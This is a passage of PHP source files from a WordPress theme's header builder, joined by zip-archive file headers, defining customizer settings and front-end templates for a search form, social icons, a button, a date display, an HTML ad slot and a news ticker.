	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

return $options;
PK     N\E.H    9  inc/builder/elements/pb_search_form_sidebar/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$class   = [];
$class[] = 'search-style-' . penci_builder_validate_mod( $header_data, 'penci_header_pb_search_form_sidebar_style' );
$class[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_search_form_sidebar_menu_class' );
penci_search_form( [
	'wrapper_custom_classes' => 'penci-builder-element pc-search-form pc-search-form-sidebar ' . implode( ' ', $class ),
	'el_classes'             => 'pc-searchform',
] );
PK     N\,_K  K  8  inc/builder/elements/pb_search_form_sidebar/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_style',
	'default'   => 'default',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Search Style','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'default'     => __('Default','soledad' ),
		'text-button' => __('Text Button','soledad' ),
		'icon-button' => __('Icon Button','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Borders Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Text Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btntxt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Icon/Button Text Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btnhtxt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Button Hover Text Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btn_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Button Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btn_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Button Background Hover Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Custom Height','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_height',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_input_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size for Input Text','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_input_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btn_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size for Button/Icon','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_btn_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_input_pdl',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_input_pdl',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Input Text Padding Left', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_input_pdr',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_input_pdr',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Input Text Padding Right', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btn_pdl',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_btn_pdl',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Button Padding Left', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btn_pdr',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_btn_pdr',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Button Padding Right', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);


return $options;
PK     N\Qg\  \  1  inc/builder/elements/pb_social_icon/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$style     = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_section_icon_style', 'simple' );
$classes   = [];
$classes[] = 'social-icon-style penci-social-' . $style;
$classes[] = 'penci-social-' . penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_section_icon_color', 'textaccent' );
?>
<div class="header-social desktop-social penci-builder-element">
    <div class="inner-header-social <?php echo implode( ' ', $classes ); ?>">
		<?php
		$dataref     = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_section_penci_rel_type_social' ) ? penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_section_penci_rel_type_social' ) : 'noreferrer';
		$data_return = str_replace( '_', ' ', $dataref );
		if ( 'none' != $data_return ) {
			$rel = ' rel="' . $data_return . '"';
		} else {
			$rel = '';
		}


		$social_data = penci_social_media_array();
		foreach ( $social_data as $name => $sdata ) {
			if ( $sdata[0] ) {
				$icon_html = penci_icon_by_ver( $sdata[1] );
				?>
                <a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>"
                   aria-label="<?php echo ucwords( $name ); ?>" <?php echo $rel; ?>
                   target="_blank"><?php echo $icon_html; ?></a>
				<?php
			}
		}
		?>
    </div>
</div>
PK     N\k    0  inc/builder/elements/pb_social_icon/settings.phpnu [        <?php 

$social_icon_section         = 'penci_header_pb_social_icon_section';
$general_config              = 'penci_builder_mods';
$query                       = [];
$query['autofocus[section]'] = 'pencidesign_new_section_social';

$options[] = array(
	'id'        => $social_icon_section . '_icon_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Social Icon Size','soledad' ),
	'type'      => 'soledad-fw-size',
	
	'ids'  => array(
		'desktop' => $social_icon_section . '_icon_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 50,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => $social_icon_section . '_icon_w',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Social Icons Width/Height','soledad' ),
	
	'ids'  => array(
		'desktop' => $social_icon_section . '_icon_w',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 50,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => $social_icon_section . '_item_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __('Spacing Between Icons','soledad' ),
	
	'ids'  => array(
		'desktop' => $social_icon_section . '_item_spacing',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => $social_icon_section . '_icon_style',
	'default'   => 'simple',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Social Icon Style','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'simple' => __('Simple','soledad' ),
		'square' => __('Square','soledad' ),
		'circle' => __('Circle','soledad' ),
	)
);
$options[] = array(
	'id'        => $social_icon_section . '_icon_color',
	'default'   => 'textaccent',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Social Icon Color','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'textaccent'  => __('Custom Color','soledad' ),
		'textcolored' => __('Brand Text Color','soledad' ),
		'colored'     => __('Brand Background Color','soledad' ),
	)
);
$options[] = array(
	'id'        => $social_icon_section . '_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => $social_icon_section . '_penci_rel_type_social',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Social Media & Social Share Icons','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[] = array(
	'id'        => $social_icon_section . '_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Custom Background Color','soledad' ),
	
);
$options[] = array(
	'id'        => $social_icon_section . '_bg_hv_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Background Hover Color','soledad' ),
	
);
$options[] = array(
	'id'        => $social_icon_section . '_border_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Borders Color','soledad' ),
	
);
$options[] = array(
	'id'        => $social_icon_section . '_border_hv_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Borders Hover Color','soledad' ),
	
);
$options[] = array(
	'id'        => $social_icon_section . '_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Custom Color','soledad' ),
	
);
$options[] = array(
	'id'        => $social_icon_section . '_hv_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Hover Color','soledad' ),
	
);

return $options;
PK     N\	IfS  S  .  inc/builder/elements/pb_button_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$btn_link        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_link_setting' );
$btn_link_rel    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_link_rel', 'noreferrer' );
$btn_link_target = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_link_target', '_blank' );
$btn_title       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_text_setting' );
$btn_style       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_style', 'style-4' );
$btn_shape       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_shape', 'ratangle' );

$classes   = [];
$classes[] = 'penci-builder penci-builder-button button-2';
$classes[] = 'button-define-' . $btn_style;
$classes[] = 'button-shape-' . $btn_shape;
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_txt_css_class', 'default' );
$btn_title = ! empty( $btn_title ) ? $btn_title : 'Button Text';

if ( ($btn_link && $btn_title) || is_customize_preview() ):?>
    <a target="<?php echo esc_attr( $btn_link_target ); ?>" rel="<?php echo esc_attr( $btn_link_rel ); ?>"
       href="<?php echo esc_url( $btn_link ); ?>" class="<?php echo implode( ' ', $classes ); ?> ">
		<?php echo $btn_title; ?>
    </a>
<?php 
endif; ?>
PK     N\z=    -  inc/builder/elements/pb_button_2/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_button_2_text_setting',
	'default'         => 'Button Text',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-text',
	'label'           => __( 'Button Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_button_2_text_setting' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_link_setting',
	'default'   => 'https://your-link.com',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'label'     => __( 'Button Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_link_target',
	'default'   => '_blank',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Link Target', 'soledad' ),
	'choices'   => [
		'_blank'  => __('Blank','soledad' ),
		'_self'   => __('Self','soledad' ),
		'_parent' => __('Parent','soledad' ),
		'_top'    => __('Top','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_link_rel',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Button Link','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_style',
	'default'   => 'style-4',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
		'style-3'   => __('Creative','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_shape',
	'default'   => 'ratangle',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Shape', 'soledad' ),
	'choices'   => [
		'ratangle' => __('Retangle','soledad' ),
		'circle'   => __('Circle','soledad' ),
		'round'    => __('Round','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_spacing_setting',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
/* start font */
$options[] = array(
	'id'        => 'penci_header_pb_button_2_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Button Text','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_font_w',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Button Text','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_font_s',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Button Text','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => 'Normal',
		'italic' => 'Italic'
	)
);
/* end font*/
$options[] = array(
	'id'        => 'penci_header_pb_button_2_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	
	'label'     => __( 'Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_border_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Borders Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_txt_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Button Font Size','soledad' ),
	'ids'  => array(
		'desktop' => 'penci_header_pb_button_2_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_button_2_txt_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\\    /  inc/builder/elements/pb_date_time/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$date_time_format = penci_builder_validate_mod( $header_data, 'penci_header_pb_data_time_format' );
$class            = penci_builder_validate_mod( $header_data, 'penci_header_pb_data_time_css_class' );
if ( empty( $date_time_format ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-data-time-format <?php echo esc_attr( $class ); ?>">
	<?php
	if ( function_exists( 'wp_date' ) ) {
		$return = wp_date( $date_time_format );
	} else {
		$return = current_time( $date_time_format );
	}
	$time_class = get_theme_mod( 'penci_time_sync' ) ? 'penci-dtf-real' : 'penci-dtf-normal';
	?>
    <span data-format="<?php echo $date_time_format; ?>"
          class="<?php echo $time_class; ?>"><?php echo $return; ?></span>
</div>
PK     N\`rg	  g	  .  inc/builder/elements/pb_date_time/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_data_time_format',
	'default'         => 'l, F j, Y',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-text',
	'label'           => esc_html__( 'Date/Time Format', 'soledad' ),
	'description'     => __( 'Enter the date time format here. For more information, please read the document <a target="_blank" href="https://wordpress.org/support/article/formatting-date-and-time/">here</a>', 'soledad' ),
	'priority'        => 10,
	'partial_refresh' => [
		'penci_header_pb_data_time_format' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_data_time_format_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Font Size','soledad'),
	'ids'  => array(
		'desktop' => 'penci_header_pb_data_time_format_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_data_time_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_data_time_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Item Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

$options[] = array(
	'id'        => 'penci_header_pb_data_time_css_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\?;  ;  /  inc/builder/elements/pb_html_ad_3/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$ads_html = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_html_3_name', false );
if ( empty( $ads_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-html-ads penci-html-ads-3">
	<?php echo do_shortcode( $ads_html ); ?>
</div>
PK     N\R/	  /	  .  inc/builder/elements/pb_html_ad_3/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_3_name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	'label'     => esc_html__( 'HTML Code', 'soledad' ),
	'partial_refresh' => [
		'penci_header_builder_pb_html_3_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_3_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_3_link_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Links Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_3_fsize',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __('Font Size','soledad' ),
	'ids'  => array(
		'desktop' => 'penci_header_builder_pb_html_3_fsize',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_3_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_builder_pb_html_3_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);
return $options;
PK     N\ζ    1  inc/builder/elements/pb_news_ticker/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$headline_uppercase = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_disable_uppercase' );
$title_uppercase    = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_post_titles_uppercase' );
$title_classes      = $headline_class = ' penci-enable-uppercase';
if ( 'enable' == $title_uppercase ) {
	$title_classes = ' penci-disable-uppercase';
}
if ( 'enable' == $headline_uppercase ) {
	$headline_class = ' penci-disable-uppercase';
}
?>
<div class="penci-builder-element pctopbar-item penci-topbar-trending <?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_class' ); ?>">
	<?php if ( penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_text', 'Top Posts' ) ) {
		$toptext_style = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_style', 'nticker-style-1' );
		?>
        <span class="headline-title <?php echo $toptext_style . $headline_class; ?>"><?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_text', 'Top Posts' ); ?></span>
	<?php } ?>
	<?php
	/**
	 * Display headline slider
	 */
	$number_posts = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_total_posts', 10 );
